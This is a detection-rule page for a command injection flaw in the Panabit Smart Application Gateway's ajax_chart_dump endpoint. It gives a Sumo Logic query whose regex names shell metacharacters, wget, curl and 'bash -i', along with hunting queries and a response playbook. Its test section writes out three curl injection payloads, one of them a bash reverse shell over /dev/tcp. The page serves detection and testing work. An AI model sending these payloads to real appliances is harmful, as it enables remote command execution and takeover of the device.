Skip to content
CVE-2026-135790 Sumo Logic CSE · Sumo

Detect Panabit Smart Application Gateway ajax_chart_dump Command Injection (CVE-2026-135790) in Sumo Logic CSE

Detects exploitation attempts against CVE-2026-135790, an OS command injection (CWE-77, CWE-78) vulnerability in the Panabit Smart Application Gateway (TANGr7p10) CGI endpoint /cgi-bin/dashboard/ajax_chart_dump. An authenticated attacker can manipulate the isntmeye parameter passed to the dashboard chart dump handler to inject shell metacharacters, resulting in remote command execution on the appliance (CVSS 8.6). A public exploit exists. Detection focuses on HTTP requests to the vulnerable CGI path carrying shell metacharacters or command-injection markers, and on anomalous child processes spawned by the CGI/web server process tree on the appliance.

Based on nenghun IoT Panabit RCE1 write-up

MITRE ATT&CK

Tactic
Initial Access Execution

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql
// df00tech DF00-ad01bf4a7a · https://df00tech.com/detections/CVE-2026-135790 · licence: https://df00tech.com/detections/licence
_sourceCategory=*web* OR _sourceCategory=*proxy*
| where (url matches "*/cgi-bin/dashboard/ajax_chart_dump*" or url matches "*ajax_chart_dump*")
| if (url matches /[;|`]|\$\(|%3b|%7c|%60|wget|curl|\/bin\/(sh|bash)|\$\{IFS\}|bash\s+-i/, 1, 0) as isInjection
| where isInjection = 1
| count by src_ip, dest_ip, url, http_method, status_code
| sort by _count
critical severity medium confidence

Sumo Logic query flagging requests to the Panabit ajax_chart_dump endpoint that include shell metacharacters or command-injection markers.

Data Sources

Web server logsProxy logsWAF logs

Required Tables

webproxy

False Positives & Tuning

  • Authorized scanner probes with metacharacters
  • Encoded parameters from legitimate automation
  • Penetration tests

Other platforms for CVE-2026-135790


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Command injection probe via ajax_chart_dump query parameter

    Expected signal: Web/CGI access log entry to /cgi-bin/dashboard/ajax_chart_dump containing ';id' in the query string.

  2. Test 2 URL-encoded command injection payload

    Expected signal: Web log entry with encoded %7C (pipe) and wget marker in the ajax_chart_dump query.

  3. Test 3 Reverse-shell style injection attempt

    Expected signal: Web log entry containing 'bash -i' pattern; on the appliance, a shell child process under the web server and an outbound TCP connection.


Response Playbook

Triage

  1. Confirm the targeted host is a Panabit Smart Application Gateway running TANGr7p10 and that /cgi-bin/dashboard/ajax_chart_dump is network-reachable.
  2. Extract the full request URI/query and URL-decode it to identify the injected command payload and shell metacharacters.
  3. Determine the source IP reputation and whether the request succeeded (HTTP 200 vs blocked/error), and correlate with any outbound connections from the appliance immediately afterward.
  4. Check whether the same source IP hit other sensitive CGI endpoints or repeated the request (brute/spray pattern).

Containment

  1. Block the attacker source IP(s) at the perimeter firewall/WAF and apply a WAF rule denying shell metacharacters on /cgi-bin/dashboard/ajax_chart_dump.
  2. Isolate the appliance from untrusted networks and restrict management/dashboard access to a trusted admin VLAN or VPN until patched.
  3. If compromise is confirmed, take the appliance offline and failover to a known-good or redundant gateway.

Evidence Collection

  1. Preserve web/CGI access logs, appliance shell history, cron tables, and /tmp artifacts from the gateway.
  2. Capture the appliance process list, network connections, and any newly created files or modified CGI scripts for forensic imaging.

Escalation Criteria

  • !Escalate to incident response if the injection request returned HTTP 200 with command output or if the appliance made unexpected outbound connections (reverse shell / tool download).
  • !Escalate if new user accounts, persistence (cron/rc), or modified system binaries are discovered on the appliance.

Investigation Guide

Forensic Artifacts

  • >Web/CGI access log entries to /cgi-bin/dashboard/ajax_chart_dump containing shell metacharacters
  • >Anomalous child processes (sh, wget, curl, nc) under the web server process tree
  • >New or modified files in /tmp, cron entries, and shell history on the appliance

Tuning Guidance

Baseline legitimate dashboard chart-dump usage from known admin IPs and exclude those sources. If the appliance front-ends a WAF that normalizes/encodes parameters, adjust the metacharacter regex to match the post-normalization form. Tighten severity to critical only when the request returns HTTP 200 with a non-trivial response body, and pair the web-layer signal with the EDR process-tree signal to reduce scanner-driven noise.


Hunting Queries

Surface source IPs repeatedly hitting the ajax_chart_dump endpoint, indicating scanning or exploitation attempts.

Hunting — KQL
kql
// df00tech DF00-ad01bf4a7a · https://df00tech.com/detections/CVE-2026-135790 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has "ajax_chart_dump" | summarize count(), make_set(csUriQuery) by cIP | where count_ > 5
Hunting — SPL
spl
``` df00tech DF00-ad01bf4a7a · https://df00tech.com/detections/CVE-2026-135790 · licence: https://df00tech.com/detections/licence ```
index=web uri="*ajax_chart_dump*" | stats count values(uri_query) as queries by src_ip | where count>5

Atomic Red Team Tests

Test 1 Command injection probe via ajax_chart_dump query parameter
linux

Simulates an attacker injecting a shell command through a parameter to the vulnerable CGI endpoint using a semicolon separator.

Command

bash
curl -sk 'https://TARGET/cgi-bin/dashboard/ajax_chart_dump?chart=1;id'

Cleanup

bash
echo 'no cleanup required (read-only probe)'

Expected Telemetry

Web/CGI access log entry to /cgi-bin/dashboard/ajax_chart_dump containing ';id' in the query string.

Expected Detection

KQL/SPL web-layer rules fire on the shell metacharacter in the ajax_chart_dump request.

Test 2 URL-encoded command injection payload
linux

Sends a URL-encoded pipe-and-command payload to evade naive filters.

Command

bash
curl -sk 'https://TARGET/cgi-bin/dashboard/ajax_chart_dump?chart=1%7Cwget%20http%3A%2F%2F127.0.0.1%2Fx'

Cleanup

bash
rm -f ./x 2>/dev/null; echo done

Expected Telemetry

Web log entry with encoded %7C (pipe) and wget marker in the ajax_chart_dump query.

Expected Detection

Detection rules match the encoded metacharacter / wget marker regex.

Test 3 Reverse-shell style injection attempt
linux

Attempts to inject a bash reverse shell command through the vulnerable parameter (lab only).

Command

bash
curl -sk 'https://TARGET/cgi-bin/dashboard/ajax_chart_dump?chart=1;bash%20-i%20%3E%26%2Fdev%2Ftcp%2F127.0.0.1%2F4444%200%3E%261'

Cleanup

bash
echo 'terminate any test listener manually'

Expected Telemetry

Web log entry containing 'bash -i' pattern; on the appliance, a shell child process under the web server and an outbound TCP connection.

Expected Detection

Web-layer rules match 'bash -i'; CrowdStrike CQL process-tree hunt flags the shell spawned by the web/CGI process.

Related Detections